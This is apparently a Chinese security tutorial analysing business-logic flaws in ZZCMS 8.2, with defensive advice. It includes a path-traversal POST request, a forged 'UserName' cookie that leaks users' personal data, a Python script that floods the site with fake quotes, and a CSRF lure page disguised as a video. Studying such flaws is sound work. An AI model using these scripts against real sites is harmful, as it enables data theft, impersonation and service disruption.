记录一次利用业务设计缺陷漏洞的精彩实战测试
字数 1369 2025-08-18 11:37:16

ZZCMS 8.2 业务逻辑漏洞分析与实战教学

前言

本文详细分析ZZCMS 8.2版本中存在的多个业务逻辑漏洞,包括目录跳转读取敏感信息、个人敏感信息泄露漏洞、业务设计缺陷导致的拒绝服务攻击等。通过本教学文档,您将学习到如何发现、分析和利用这些漏洞,以及相应的防御措施。

漏洞一:目录跳转读取敏感信息

漏洞位置

zzcms8.2/baojia/baojia.php 第4行引用了 zzcms8.2/inc/top.php

漏洞分析

  1. 该文件在引用时进行了if逻辑判断,判断中存在可控变量
  2. 服务器端接收POST请求执行跳转操作,但前端没有相关参数
  3. 黑盒测试难以发现此漏洞,因为:
    • 不知道存在POST请求处理
    • 不知道具体参数名称

漏洞利用步骤

  1. 使用Burp Suite将GET请求改为POST请求
  2. 尝试XSS攻击失败("被HTML编码,'被转义)
  3. 改用目录跳转思路,使用问号伪截断技术
  4. 构造POST请求包示例:
    POST /zzcms8.2/baojia/baojia.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    redirect=../../../../../../../?&
    

利用效果

  • 可读取服务器根目录下的敏感文件
  • 可用于发现网站真实IP(绕过CDN)

漏洞二:逻辑漏洞导致个人敏感信息泄露

漏洞位置

zzcms8.2/baojia/baojiaadd.php 第183-213行

漏洞分析

  1. 系统从用户Cookie中获取UserName
  2. 如果UserName存在且数据库中匹配,则返回该用户的:
    • 公司名
    • 真实姓名
    • 手机号码
    • 邮箱

漏洞利用步骤

  1. 设置Cookie中的UserName为数据库中存在的用户名
    Cookie: UserName=test2;
    
  2. 访问相关页面即可获取该用户的敏感信息

防御建议

  • 增加权限验证
  • 对敏感信息进行加密存储
  • 实现完善的会话管理机制

漏洞三:设计缺陷漏洞+CSRF组合攻击

漏洞位置

zzcms8.2/baojia/baojiaadd.php 第183-242行及274-313行

漏洞分析

  1. 同一用户可反复发布报价信息
  2. 无发布数量限制
  3. 验证码功能存在缺陷(本案例中已注释掉)
  4. 无CSRF防护机制

攻击原理

  1. 利用业务设计缺陷大量提交伪造报价信息
  2. 结合CSRF让大量用户自动提交
  3. 导致:
    • 数据库被垃圾数据填塞
    • 管理员审核工作负担剧增
    • 正常业务无法开展

攻击演示

方法一:Python脚本自动化攻击

import requests
import os
import random
import ast

def attack():
    host = 'http://localhost/zzcms8.2/baojia/baojiaadd.php?'
    users = ['mayun','mahuateng','zhouhongwei','leijun','liyanhong']
    un = random.randint(0,len(users)-1)
    cookie_value = '"Cookie":"UserName={user_forgery};"'.format(user_forgery=users[un])
    header = '{'+cookie_value+'}'
    header = ast.literal_eval(header)
    
    # 构造伪造数据
    product = ['防晒面膜','护手霜','澳洲牛排','纸尿布','充气娃娃']
    pn = random.randint(0,len(product)-1)
    price_value = str(random.randint(25,500))
    companyname_values = ['阿里巴巴','腾讯','百度','小米','360']
    cn = random.randint(0,len(companyname_values)-1)
    truename_values = ['马云','马化腾','周鸿伟','李彦宏','雷军']
    tn = random.randint(0,len(truename_values)-1)
    tel_value = '15'+''.join([str(random.randint(0,9)) for _ in range(8)])
    address_value = ['宿迁市宿城区西湖路358号','河南省开封市鼓楼区黄河大街中段1号']
    an = random.randint(0,len(address_value)-1)
    email_suffix = ['@163.com','@qq.com','@sina.com','@souhu.com','@gmail.com']
    en = random.randint(0,len(email_suffix)-1)
    email_value = ''.join([str(random.randint(0,9)) for _ in range(12)])+email_suffix[en]
    
    payload = {
        "cp": product[pn],
        "classid": "王二狗专属",
        "province": "王二狗大街",
        "city": "王二狗城市",
        "xiancheng": "王二狗县",
        "price": price_value,
        "companyname": companyname_values[cn],
        "truename": truename_values[tn],
        "tel": tel_value,
        "address": address_value[an],
        "email": email_value,
        "yzm": "1234",
        "Submit": "发布",
        "action": "add"
    }
    
    r = requests.post(host, data=payload, headers=header)
    print(r.content.decode('utf-8'))

def exp():
    num = int(input('请输入要发送的伪造数据包个数:'))
    for _ in range(num):
        attack()
    print('\n-攻击结束-')

exp()

方法二:CSRF攻击页面

<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<h1>小电影加载成功!</h1>
<form action="http://localhost/zzcms8.2/baojia/baojiaadd.php?" method="POST">
    <input id="cp" type="hidden" name="cp" value="跨站请求伪造" />
    <input type="hidden" name="classid" value="王二狗专属" />
    <input type="hidden" name="province" value="大街" />
    <input type="hidden" name="city" value="某城市" />
    <input type="hidden" name="xiancheng" value="小县镇" />
    <input id="price" type="hidden" name="price" value="666" />
    <input id="companyname" type="hidden" name="companyname" value="跨站请求伪造公司" />
    <input id="truename" type="hidden" name="truename" value="王二狗" />
    <input id="tel" type="hidden" name="tel" value="18888888888" />
    <input id="address" type="hidden" name="address" value="跨站请求伪造伪造哦" />
    <input id="email" type="hidden" name="email" value="123456@qq.com" />
    <input type="hidden" name="yzm" value="1234" />
    <input type="hidden" name="Submit" value="发布" />
    <input type="hidden" name="action" value="add" />
    <input type="submit" value="点击播放" onclick="jump()">
</form>

<script>
function jump() {
    window.location.href="http://www.baidu.com";
}

function setCookie(c_name,value,expiredays) {
    var exdate = new Date()
    exdate.setDate(exdate.getDate()+expiredays)
    document.cookie = c_name + "=" + escape(value) + ((expiredays==null) ? "" : ";expires="+exdate.toGMTString())
}

var user_cookie = ["Helen","Mike","Jack","Nier","Wyate"];
var range = user_cookie.length;

function rd(n,m){
    var c = m-n+1;
    return Math.floor(Math.random() * c + n);
}

var n = 0;
user = user_cookie[rd(n,range)];
setCookie('UserName',user,'1');

var cp = ["Q币充值","淘宝刷单","游戏代理","腾讯会员"];
cp_value = cp[rd(0,cp.length-1)];
document.getElementById("cp").setAttribute('value',cp_value);

var price = rd(10,100);
document.getElementById("price").setAttribute('value',price);

var companyname = ["阿里巴巴","腾讯","小米","京东","百度","360"];
companyname_value = companyname[rd(0,companyname.length-1)];
document.getElementById("companyname").setAttribute('value',companyname_value);

var truename = ["小马","大马","小雷","小刘","小李"];
truename_value = truename[rd(0,truename.length-1)];
document.getElementById("truename").setAttribute('value',truename_value);

var tel_top = '188';
tel_value = tel_top + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9);
tel_value = parseInt(tel_value);
document.getElementById("tel").setAttribute('value',tel_value);

var email_suffix = ["@163.com","@qq.com","@sina.com","@gmail.com"];
var email_value = tel_top + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + rd(0,9) + email_suffix[rd(0,email_suffix.length-1)];
document.getElementById("email").setAttribute('value',email_value);

var address = ['宿迁市宿城区西湖路358号','河南省开封市鼓楼区黄河大街中段1号'];
address_value = address[rd(0,address.length-1)];
document.getElementById("address").setAttribute('value',address_value);
</script>
</body>
</html>

组合攻击效果

  1. 通过CSRF页面诱导大量用户点击
  2. 每个点击会生成不同的伪造数据
  3. 结合自动化脚本发起"洪水攻击"
  4. 结果:
    • 数据库被大量伪造数据填塞
    • 管理员无法区分真实与伪造数据
    • 网站业务受到严重影响

防御措施

  1. 目录跳转漏洞防御

    • 对跳转目标进行严格白名单验证
    • 禁止跳转到非预期目录
    • 使用绝对路径而非相对路径
  2. 敏感信息泄露防御

    • 实现完善的权限验证机制
    • 对敏感信息进行加密存储
    • 避免直接从Cookie获取关键信息
  3. 业务设计缺陷防御

    • 实施合理的业务限制(如发布频率限制)
    • 完善验证码机制
    • 增加二次确认步骤
  4. CSRF防御

    • 添加CSRF Token
    • 检查Referer头
    • 关键操作使用POST而非GET
  5. 其他建议

    • 定期进行安全审计
    • 对用户输入进行严格过滤
    • 实现完善的日志记录机制

总结

本教学详细分析了ZZCMS 8.2中的多个安全漏洞,展示了如何利用这些漏洞进行攻击,并提供了相应的防御措施。这些漏洞的利用展示了业务逻辑安全问题可能造成的严重影响,强调了在系统设计阶段考虑安全性的重要性。

ZZCMS 8.2 业务逻辑漏洞分析与实战教学 前言 本文详细分析ZZCMS 8.2版本中存在的多个业务逻辑漏洞,包括目录跳转读取敏感信息、个人敏感信息泄露漏洞、业务设计缺陷导致的拒绝服务攻击等。通过本教学文档,您将学习到如何发现、分析和利用这些漏洞,以及相应的防御措施。 漏洞一:目录跳转读取敏感信息 漏洞位置 zzcms8.2/baojia/baojia.php 第4行引用了 zzcms8.2/inc/top.php 漏洞分析 该文件在引用时进行了if逻辑判断,判断中存在可控变量 服务器端接收POST请求执行跳转操作,但前端没有相关参数 黑盒测试难以发现此漏洞,因为: 不知道存在POST请求处理 不知道具体参数名称 漏洞利用步骤 使用Burp Suite将GET请求改为POST请求 尝试XSS攻击失败("被HTML编码,'被转义) 改用目录跳转思路,使用问号伪截断技术 构造POST请求包示例: 利用效果 可读取服务器根目录下的敏感文件 可用于发现网站真实IP(绕过CDN) 漏洞二:逻辑漏洞导致个人敏感信息泄露 漏洞位置 zzcms8.2/baojia/baojiaadd.php 第183-213行 漏洞分析 系统从用户Cookie中获取UserName 如果UserName存在且数据库中匹配,则返回该用户的: 公司名 真实姓名 手机号码 邮箱 漏洞利用步骤 设置Cookie中的UserName为数据库中存在的用户名 访问相关页面即可获取该用户的敏感信息 防御建议 增加权限验证 对敏感信息进行加密存储 实现完善的会话管理机制 漏洞三:设计缺陷漏洞+CSRF组合攻击 漏洞位置 zzcms8.2/baojia/baojiaadd.php 第183-242行及274-313行 漏洞分析 同一用户可反复发布报价信息 无发布数量限制 验证码功能存在缺陷(本案例中已注释掉) 无CSRF防护机制 攻击原理 利用业务设计缺陷大量提交伪造报价信息 结合CSRF让大量用户自动提交 导致: 数据库被垃圾数据填塞 管理员审核工作负担剧增 正常业务无法开展 攻击演示 方法一:Python脚本自动化攻击 方法二:CSRF攻击页面 组合攻击效果 通过CSRF页面诱导大量用户点击 每个点击会生成不同的伪造数据 结合自动化脚本发起"洪水攻击" 结果: 数据库被大量伪造数据填塞 管理员无法区分真实与伪造数据 网站业务受到严重影响 防御措施 目录跳转漏洞防御 : 对跳转目标进行严格白名单验证 禁止跳转到非预期目录 使用绝对路径而非相对路径 敏感信息泄露防御 : 实现完善的权限验证机制 对敏感信息进行加密存储 避免直接从Cookie获取关键信息 业务设计缺陷防御 : 实施合理的业务限制(如发布频率限制) 完善验证码机制 增加二次确认步骤 CSRF防御 : 添加CSRF Token 检查Referer头 关键操作使用POST而非GET 其他建议 : 定期进行安全审计 对用户输入进行严格过滤 实现完善的日志记录机制 总结 本教学详细分析了ZZCMS 8.2中的多个安全漏洞,展示了如何利用这些漏洞进行攻击,并提供了相应的防御措施。这些漏洞的利用展示了业务逻辑安全问题可能造成的严重影响,强调了在系统设计阶段考虑安全性的重要性。